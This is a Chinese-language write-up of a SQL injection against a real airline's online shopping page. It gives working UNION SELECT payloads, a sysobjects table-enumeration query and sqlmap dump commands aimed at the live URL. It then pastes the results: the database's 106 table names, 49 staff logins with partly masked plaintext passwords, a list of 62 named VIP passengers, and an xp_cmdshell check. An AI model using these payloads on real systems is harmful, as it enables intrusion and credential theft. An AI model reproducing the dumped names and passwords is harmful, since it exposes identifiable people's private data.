http://www.airmacau.com.tw/airshopping/eshopping_intro.asp?item=53008871 字段判断:http://www.airmacau.com.tw/airshopping/eshopping_intro.asp?item=53008871 order by 16 union查询:http://www.airmacau.com.tw/airshopping/eshopping_intro.asp?item=53008871 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 可用字段:4、5、8、9、10、11、12、13 如图:
查询数据库信息及用户信息: http://www.airmacau.com.tw/airshopping/eshopping_intro.asp?item=53008871 and 1=2 UNION SELECT 1,2,3,user,db_name(),6,7,@@version,9,10,11,12,13,14,15,16 如图:
得到用户:
dbo
当前数据库:
tpe_web
数据库信息:
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 6.0 (Build 6002: Service Pack 2)
手工爆表SQL:http://www.airmacau.com.tw/airshopping/eshopping_intro.asp?item=53008871 and 1=2 UNION SELECT top 1 1,2,3,NAME,5,6,7,8,9,10,11,12,13,14,15,16 from tpe_web.DBO.sysobjects where xtype='U' and status>=0 表太多,直接上工具 1、sqlmap.py -u ttp://www.airmacau.com.tw/airshopping/eshopping_intro.asp?item=53008871" --tables -D "tpe_web"
web server operating system: Windows 2008 or Vista web application technology: ASP.NET, ASP, Microsoft IIS 7.0 back-end DBMS: Microsoft SQL Server 2005 [22:43:29] [INFO] fetching tables for database: tpe_web [22:43:29] [INFO] the SQL query used returns 106 entries Database: tpe_web [106 tables] +-----------------------------+ | CityName | | NXPress | | NotesLog | | ReConfirm | | co-brand_member | | advertisement | | amh_bkk_hotel | | b2blist | | bbs_join | | bbs_main | | bbs_sub | | bpbonus | | cakk_application | | cargo_booking_adhoc | | cargo_booking_adhoc | | cargo_booking_flight_type | | cargo_booking_flight_type | | cargo_booking_no_type | | cargo_marquee | | cargo_track | | cgormk | | cobrand_pw | | ctcb_application_agent | | ctcb_application_agent | | ctcb_ffpno | | dapo_agent | | dapo_apply | | dtest | | dtproperties | | eticket_aggregate_free | | eticket_aggregate_free | | eticket_aggregate_free | | eticket_ca | | eticket_cobrand | | eticket_compensate | | eticket_free_product | | eticket_hotel | | eticket_magazine | | eticket_paylink | | eticket_product | | eticket_project | | eticket_reissue | | eticket_travelfair | | ffp_partner | | flight | | hotel_booking_contact | | hotel_booking_contact | | hotel_booking_contact | | hotel_booking_disney | | hotel_booking_guarantee_pay | | hotel_booking_guarantee_pay | | hotel_booking_hotels | | hotel_booking_mco | | hotel_booking_mfmhotel | | hotel_booking_product | | hotel_booking_show | | hotel_booking_tcuser | | hotel_booking_zaia_show | | htlbook | | iataagent | | iatauser | | industryfare_lock | | industryfare_lock | | key_table | | khh_ad | | login_user | | mco_contect | | mco_order | | mco_ticket | | mileage_transfer | | newbonus | | newsps_reporter | | newsps_reporter | | offers | | online_payment | | pr_check | | pr_control | | pr_tmp | | preorder_tmp | | preorder_tmp | | realtime_timetable | | recruit | | route_command | | route_report_link | | sales_mail_list | | sales_mail_log | | shopping_type | | shopping_type | | sqlmapoutput | | sysdiagrams | | tpm_data_bak | | tpm_data_bak | | vinfopackagedetail | | vinfopackagedetail | | vinfopackageitems | | vinfopackagereg | | vinfopackagetmp | | vinfouser | | viplist | | welfare_bid_detail | | welfare_bid_detail | | welfare_hot_join | | welfare_hot_main | | welfare_hot_sub | | welfare_news | | welfare_vote | +-----------------------------+
2、sqlmap.py -u "http://www.airmacau.com.tw/airshopping/eshopping_intro.asp?item=53008871" --dump -C "name,passwd" -T "login_user" -D "tpe_web" 密码明文(已打码):
Database: tpe_web Table: login_user [49 entries] +----------------------+-----------+ | name | passwd | +----------------------+-----------+ | Administrator | go****cau | | C Lu | 42**** | | CA Cargo | 28****03 | | Calvin Liao | 07**** | | Christina Ieong | cs**** | | CKS Airport | nx**** | | E Su | 80**** | | Elaine OY | 01**** | | ELAINEOU YANG | ai****au | | Emma Huang | ha****136 | | FAR GLORY | 48**** | | Fiona Lin | fi****in | | Gary Yang | ms**** | | George Chou | re**** | | Hazel Chen | ha****hen | | HGH Ticketing | ai****au | | Jackson Ting | 06**** | | Julia Hsieh | 50**** | | Kevin Li | KM**** | | KHH Accounting | ai****au | | KHH Airport | nx**** | | KHH Sales | ai****au | | KHH Ticketing | ai****au | | KingPower | 12**** | | Leah Huang | 12**** | | MFM Accounting | em**** | | MFM AMH | am**** | | MFM AMH Finance | NX****MH | | MFM AMH Head | ai****au | | MFM Cargo | ai****au | | MFM CSH | ai****au | | MFM Inflight Service | in****ht | | MFM IT | ai****au | | MFM PR | ai****au | | MFM Reservation | ai****au | | MFM Ticketing | ai****au | | Mike Chu | 11****ta | | Nick Chen | 02**** | | R Hsu | 50**** | | Robyn Hsu | am****6 | | Stacy Lin | st****in | | TPE Accounting | ai****au | | TPE E-Commerce | am****2 | | TPE HR | ai****au | | TPE Reservation | ai****au | | TPE Sales | nx**** | | TPE Ticketing | ai****au | | TXG Ticketing | ai****au | | Vickie Shih | 03**** | +----------------------+-----------+
其他数据:
Database: tpe_web Table: viplist [62 entries] +-----------+---------------------+ | vip_cname | vip_ename | +-----------+---------------------+ | 詹生財 | CHANG CHAN TSAI | | 張漢文 | CHANG HAN WEN | | 張國安 | Chang/Kuo An | | 趙維南 | CHAO WEI NAN | | 陳徹 | CHEN CHE | | 陳聰賢 | Chen/chong shien | | 陳修博 | Chen/Hsiu po | | 陳建軍 | CHEN/JIANJUN | | 陳炳昌 | Chen/Ping Chang | | 鄭平 | CHENG PING | | 鄭增明 | Cheng/Tseng Ming | | 江清波 | CHIANG CHING PO | | 江文豪 | CHIANG/WENHAO | | 邱全成 | CHIU CHUAN CHEN | | 周枝田 | CHOU CHIH TIEN | | 祝維光 | CHU WEI KUANG | | 何祖祥 | HO TSU HSIANG | | 謝深彥 | HSIEH SHEN YEN | | 徐沆 | HSU HANG | | 黃宣和 | HUANG HSUAN HO | | 黃溫秀琴 | Huang Wen/Hsiu Chin | | 黃健堂 | Huang/Chien Tang | | 黃紅光 | HUANG/HONGGUANG | | 黃寶玉 | HUANG/PAOYU | | 蔡俊宏 | JOHN TSAI JING HONG | | 郭山輝 | KUO SHAN HUEI | | 郭健仁 | Kuo/Chien Jen | | 賴吉良 | Lai/chi liang | | 李文良 | LEE WEN LIANG | | 李俊堂 | LEE/CHUN-TANG | | 李志剛 | LI/ZHIGANG | | 林世銘 | LIN SHIH MING | | <blank> | Lin/Jung Te | | 劉玲君 | LIU LIN CHUN | | 陸有義 | LU/YOUYI | | 馬志玲 | MA/CHIHLING | | 莫永清 | MO/YONGQING | | 粘米生 | NIEN MI SHENG | | 翁述正 | ONG/SUJENG | | 潘建民 | PAN/JIANMIN | | 謝慶源 | SHIEH CHING YUAN | | 束華 | SHU/HUA | | 粟增林 | SU/ZENGLIN | | 湯傑 | TANG/JIE | | <blank> | Thelma Limtila | | 曹日章 | TSAO/RHYCHANG | | 曾紀堅 | TSENG CHI CHIEN | | 曾建煌 | TSENG CHIEN HUANG | | 曾美玲 | TSENG MEI LING | | 王子維 | WANG TZU WEI | | 王大平 | WANG/DAPING | | 王佳中 | WANG/JIAZHONG | | 王藤貴 | Wang/Teng Kuei | | 王躍飛 | WANG/YUEFEI | | 吳振坤 | WU CHEN KUN | | 吳德煉 | WU TE LIEN | | 熊振國 | XIONG/ZHENGUO | | 楊憲靖 | YANG HSIEN CHING | | 葉春榮 | YEH CHUN RONG | | 葉宏燈 | YEH HONG DAN | | 張正平 | ZHANG/ZHENGPING | | 鍾國文 | ZHONG/GUOWEN | +-----------+---------------------+
测试是否开启xp_cmdshell: http://www.airmacau.com.tw/airshopping/eshopping_intro.asp?item=53008871 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') xp_cmdshell成功。。。 但是不支持多条语句执行,就提交一个SQL注入漏洞吧。